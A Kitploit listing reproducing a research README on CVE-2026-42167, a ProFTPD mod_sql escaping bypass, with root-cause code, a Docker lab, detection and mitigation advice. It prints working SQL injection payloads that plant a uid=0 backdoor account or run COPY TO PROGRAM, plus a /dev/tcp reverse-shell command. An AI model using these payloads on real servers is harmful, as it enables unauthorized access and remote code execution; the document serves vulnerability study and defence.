Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

CVE-2026-42167(ProFTPD mod_sql is_escaped_text() 绕过)的独立复现、代码级根因分析及真实暴露场景报告。

查看仓库
314个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42167 — ProFTPD mod_sql SQL 注入 / 认证绕过 / 远程代码执行

独立复现、代码级根因分析,以及对 CVE-2026-42167 的坦诚暴露面分析——这是 ProFTPD mod_sql 日志管道中由 ZeroPath Research 披露、并在 ProFTPD 1.3.9a / 1.3.10rc1 中修复的 is_escaped_text() 绕过漏洞。

已在 Docker 中于 macOS / Apple Silicon 上端到端构建并验证,2026-04-29。

TL;DR — 在决定需要多担心之前,请先参阅 结论 了解真实的暴露面情况。这不是默认安装即存在的漏洞,但这种危险的引号模式正是上游文档建议你使用的模式,因此很大一部分 mod_sql 部署都继承了该问题。

字段值
CVECVE-2026-42167
CWECWE-89(SQL 注入)、CWE-78(操作系统命令注入 — 通过 PG COPY TO PROGRAM)
受影响版本带 mod_sql + SQLLog/SQLNamedQuery 的 ProFTPD ≤ 1.3.9,其格式字符串在单引号内插值了攻击者可控变量
修复版本1.3.9a(af90843ba…)/ 1.3.10rc1,参见提交 e6f728481("Issue #2052")
固定的漏洞提交ae25959adb05ae1d6ebfa1f36bf778c9c34e9410
漏洞文件contrib/mod_sql.c 第 741–758 行(is_escaped_text)及第 777 行(sql_resolved_append_text)
原始披露https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
公开 PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
发布说明http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. 根因 — contrib/mod_sql.c 中的 is_escaped_text() 启发式判断

mod_sql 解析日志格式变量(%U、%{basename} 等),并通过 sql_resolved_append_text() 将每一段追加到渲染后的 SQL 中。为了保持与已用 '…' 包裹变量的管理员配置的向后兼容性,该函数会调用 is_escaped_text() 来决定是否需要 sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

root@kitploit:~
该检查纯粹是结构性的——它无法区分*“已被可信代码转义”*与*“由攻击者精心构造以看似已转义”*。
任何客户端提供的、匹配`'<no-internal-quotes>'`的值都会跳过
`sql_escapestring`,并被直接拼接进最终查询。

标准、文档化的配置会将`%U` / `%{basename}` / `%m`包裹在单引号中:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

当攻击者发送 USER '<payload>'(首尾各一个引号,内部无引号)时,解析器会未转义地替换 %U,在 SQL 中产生 ''<payload>'' —— 空字符串字面量闭合了周围的引号,<payload> 则作为原始 SQL 执行。对于 PostgreSQL(PQexec)和 SQLite(sqlite3_exec),支持堆叠查询,因此 <payload> 可以是任意语句序列。

由于 SQLLog ERR_* 在失败的登录时触发,且 %U 在认证之前由 USER 设置,因此该攻击完全无需认证。

修复方案(提交 e6f728481,"Issue #2052")

sql_resolved_append_text() 新增了一个 already_escaped 参数。从客户端输入解析值的调用方传入 FALSE,现在无条件经过 sql_escapestring —— is_escaped_text() 启发式判断仍用于合法的“配置中已预转义值”路径,但不再适用于攻击者可控的数据。


2. 实验环境```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

root@kitploit:~
- 两个容器通过 `setup/docker-compose.yml` 启动。
- `setup/proftpd.conf` 启用了易受攻击的日志配置(参见 §1)。
- `setup/seed.sql` 创建 `users`、`groups`、`activity_log`、`xfer_log` 和 `secrets` 表,外加一个合法的 FTP 用户 `ftpuser / ftppass`。

---

## 3. 复现 — 复制粘贴

前置条件:Docker Desktop、Python 3.10+、git。(`uv` 为可选;PoC 仅依赖标准库。)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

上游仓库中的两个交互式变体 (preauth_user_rce.py、postauth_stor_rce.py)未经修改,会弹出基于 PTY 的反向 shell。它们使用与标记变体相同的原语——只需将 shell 命令替换为 bash -i >& /dev/tcp/<host>/<port> 0>&1,并先监听 <port>。


4. 载荷,逐字节对照

预认证后门(USER 命令,%U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

root@kitploit:~
为什么有效:

1. **外层引号 + 内部无引号** 匹配
   `is_escaped_text()` → 转义被跳过。
2. 配置的 `SQLNamedQuery` 是 `INSERT "'%U', '%r', '%m'" activity_log`,
   因此渲染后的 SQL 变为
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — 但
   `<payload>` 本身以 `'` 开头,所以实际执行的查询是
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`。
3. `--` 将尾部的格式槽位注释掉。
4. `$$…$$` PostgreSQL 美元引用让我们可以传递字符串(`backdoor`、
   `pwned123`、`/`、`/bin/bash`)而无需使用 `'` — 从而保持
   `is_escaped_text()` 绕过有效。
5. 登录失败时触发 `SQLLog ERR_*` → `PQexec()` 执行堆叠的
   `INSERT INTO users` → 认证表中出现后门账户。

### 认证后后门(`STOR` 文件名,`%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

相同的绕过,不同的触发方式。使用 chr(47) = '/' 是因为 FTP 会将文件名中的 / 解释为目录分隔符,因此 攻击者无法在文件名中放入字面意义上的 / —— chr() 让 后门账户无需在线上传输该字符即可获得 homedir = '/'。

预认证 RCE(USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

root@kitploit:~
| 文件 | 内容说明 |
|---|---|
| `logs/01_preauth_backdoor.log` | 预认证 PoC 输出,以 `backdoor` 身份登录成功(`230`) |
| `logs/02_db_users_after.log` | `users` 表现在包含 `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | 通过 STOR `%{basename}` 的认证后 PoC 输出 |
| `logs/05_preauth_rce_marker.log` | 通过 FTP 发送的标记载荷 |
| `logs/06_users_final.log` | 最终 `users` 表状态 |
| `logs/07_proftpd_trace.log` | ProFTPD 自身的跟踪日志,为每个注入载荷打印 `text '…' is already escaped, skipping escaping it again` —— 直接证明 `is_escaped_text()` 对攻击者输入返回 TRUE |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` 由 postgres 容器上的 *postgres 用户* 写入 |
| `screenshots/*.png` | 每个捕获终端会话的 PNG 渲染图 |

跟踪日志行就是确凿证据:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
  VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
  is already escaped, skipping escaping it again

该消息仅在is_escaped_text()返回TRUE时于contrib/mod_sql.c:791处发出——即恰好是绕过发生之时。


6. 检测 / 缓解措施

检测(对已部署服务器的取证):

  • grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log 配合Trace sql:17启用后,可标记每次到达绕过点的注入尝试。
  • 审计activity_log(或SQLNamedQuery INSERT写入的任何表):用户名列以多余引号开头、包含null, null);、或包含INSERT/COPY TO PROGRAM/UPDATE的行均为证据。
  • 审计users表中是否存在uid=0、homedir='/'、或当策略要求使用/sbin/nologin时shell被设为真实shell的账户。

缓解措施:

  • 升级ProFTPD至≥ 1.3.9a / 1.3.10rc1(提交e6f728481)。
  • 若尚无法升级的补偿性控制措施: 从SQLNamedQuery格式字符串中移除攻击者可控制的变量(仅在参数化后端中将'%U'替换为更安全的%U,或对失败登录改用基于明文文件的日志记录)。
  • 纵深防御: 确保mod_sql的PostgreSQL角色不是超级用户——仅此一项即可消除COPY TO PROGRAM的RCE路径(通过堆叠INSERT INTO users实现的认证绕过仍然有效,但爆炸半径被限制在proftpd数据库内)。

7. 本仓库的文件映射```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

root@kitploit:~
---

## 8. 这现实吗——还是人为构造的极端情况?

诚实的回答是:**比“发一个包就能拿下服务器”的蠕虫要窄,但易受攻击的模式就写在 ProFTPD 自己的文档里,所以并非人为构造。** 三个独立的维度决定某个部署是否受影响,而每一个维度都会进一步缩小受影响的范围。

### 8.1 是否加载了 `mod_sql`?

`mod_sql` 是可选启用的。它**不在** ProFTPD 的默认构建中,也不在 Debian 的 `proftpd-basic` 等发行版软件包的默认配置中。只有以下情况才会拥有它:

- 你使用 `--with-modules=mod_sql:mod_sql_<backend>` 编译,或
- 你安装了后端专用软件包:Debian 的 `proftpd-mod-pgsql` / `proftpd-mod-mysql` / `proftpd-mod-sqlite`,RHEL 的 `proftpd-postgresql` / `proftpd-mysql`。

人们安装这些软件包是有明确原因的:基于 SQL 的**身份验证**(用户存储在数据库中,而不是 `/etc/passwd`),或用于审计的基于 SQL 的**活动日志记录**。这两者在共享主机、托管 FTP 和企业 FTP 投放部署中都很常见。因此,`mod_sql` 在安装基数中占有一席之地——只是并非“每台服务器”都有。

### 8.2 易受攻击的 `SQLNamedQuery` 模式是否真的被使用?

这正是现实性最高的地方。触发该漏洞的模式*就是文档中记载的模式。* 以下示例直接取自固定易受攻击提交时的上游源码树:```
# doc/contrib/mod_sql.html  ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog        RETR,STOR      insertfileinfo

# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
  (user, client_ip, server_ip, protocol, when)
  VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog        PASS    log_sess IGNORE_ERRORS

# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
  ('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog        STOR    upload

每个示例都将攻击者可控的变量(%u、%r)包裹在单引号中——这正是 is_escaped_text() 会误判的形状。管理员若从上游文档复制粘贴,就会继承这个易受攻击的模式。 这就是需要严肃对待此问题的首要原因。

8.3 预认证与后认证

完全未认证的路径(USER + %U + SQLLog ERR_*)是最狭窄的情况。它需要同时满足三个条件:

  • 一个 SQLNamedQuery 在单引号内插值 %U(原始用户名,即使在登录失败时也会设置)——在实际配置中比 %u 少见,因为大多数管理员希望使用成功的用户名进行审计,因此会使用 %u。
  • 一个在认证之前触发的 SQLLog 指令。SQLLog ERR_* 是此场景的典型通配符。SQLLog PASS … 和 SQLLog STOR …(最常见的形式)则不会触发。
  • 一个支持堆叠查询的后端(PostgreSQL 或 SQLite——参见 §8.4)。

如果配置使用 %u 而非 %U,同样的漏洞仍会产生认证绕过——但仅限后认证,即攻击者首先需要任意有效的凭据,然后才能植入 uid=0 的后门。在大多数实际配置中,这才是现实的暴露面:低权限 FTP 用户 → 通过一次上传成为 root 等效的 FTP 用户。

8.4 后端影响很大

该绕过在每个后端上触发方式相同,但攻击者能做的事情差异显著:

后端支持堆叠查询?通过 INSERT INTO users 实现认证绕过在数据库主机上实现 RCE
PostgreSQL是(PQexec)有效是,若数据库角色为超级用户,可通过 COPY TO PROGRAM 实现
SQLite是(sqlite3_exec)有效(且 FTP 工作进程通常具有 PRIVS_ROOT——情况更糟)无直接等效方式,但可写的 users 表 → root FTP 登录
MySQL否——mysql_real_query 未启用 CLIENT_MULTI_STATEMENTS无法追加第二条语句;仅退化为单语句子查询 / 盲注,仅用于数据外泄否

PostgreSQL 或 SQLite ⇒ 完整影响。MySQL ⇒ 仅数据泄露 / 基于时间的盲注。MySQL 是共享主机(cPanel、Plesk、ISPConfig 均默认使用)中最常见的后端;PostgreSQL 在自定义企业构建中更常见。两个群体都不可忽视。

8.5 RCE 有其自身的门槛

头条级的 COPY TO PROGRAM RCE 还额外要求 mod_sql 的 PostgreSQL 角色为超级用户(或 pg_execute_server_program 的成员)。这意味着:

  • 常见:当数据库使用官方 postgres Docker 镜像的 POSTGRES_USER 环境变量创建时(大多数 PoC 实验室和许多设备镜像的默认配置,包括本仓库的 setup/)。
  • 常见:当 ProFTPD 拥有自己的数据库实例时(单租户部署、托管设备镜像)。
  • 较少见:当由 DBA 主导的配置以最小权限原则创建角色时。

如果角色不是超级用户,你仍可获得认证绕过原语(其本身已属严重),但数据库主机上的操作系统级 RCE 将不复存在。


9. 综合来看——谁实际面临风险```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above

root@kitploit:~
---

## 10. 建议

对于任何运行 ProFTPD `mod_sql` 的用户:

- **升级**到 ≥ 1.3.9a,无论如何都要升级。这是唯一完整的修复方案。
- 在完成修补之前的**补偿性控制措施**:
  - 将数据库角色降级为**非超级用户**——可消除 PostgreSQL 上的 RCE 分支。
  - 审计你的 `users` / 认证表,查找多余的 `uid=0` 行或最近添加的账户——参见 §6。
  - 启用 `Trace sql:17` 并在 `trace.log` 中搜索
    `is already escaped, skipping escaping it again`——该行是尝试绕过攻击的直接证据。
  - 如果可行,移除 `SQLLog ERR_*` 指令以及任何插值 `%U`(预认证原语)的
    `SQLNamedQuery INSERT` 格式。通过 `%u` / `%{basename}` 的后认证路径仍然存在,但你可以移除最严重的情况。

---

## 11. 结论

- 这**不是**一个“默认安装漏洞”——你必须运行 `mod_sql` 才会受影响。
- 这**是**一个“遵循文档型漏洞”——危险的引号模式是官方文档中的写法,被直接复制粘贴到上游 HOWTO 指南中。
- 标题中提到的**完全未认证**场景是真实存在的,但需要特定的(预认证 `%U` + `SQLLog ERR_*` 通配符)配置组合,这种组合比后认证路径更少见。
- **后认证权限提升**场景(任意 FTP 用户 → uid=0 FTP 后门)是更现实的情况,适用于大量使用文档化日志模式的 `mod_sql` + PostgreSQL/SQLite 部署。
- **数据库主机上的操作系统级 RCE** 取决于数据库角色是否为超级用户——在单租户 / 设备式环境中很常见,在 DBA 管理的环境中则较少见。

---

## 致谢

- 漏洞由 [ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce) 发现并首次披露。
- 公开 PoC 仓库:
  [ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)。
- 修复由 TJ Saunders 完成,提交
  [`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
  (“Issue #2052”)。

本仓库是独立的复现与分析,用于防御性研究和教育目的。不包含 0-day 漏洞。仅可在你获得授权的系统上使用。
下载工具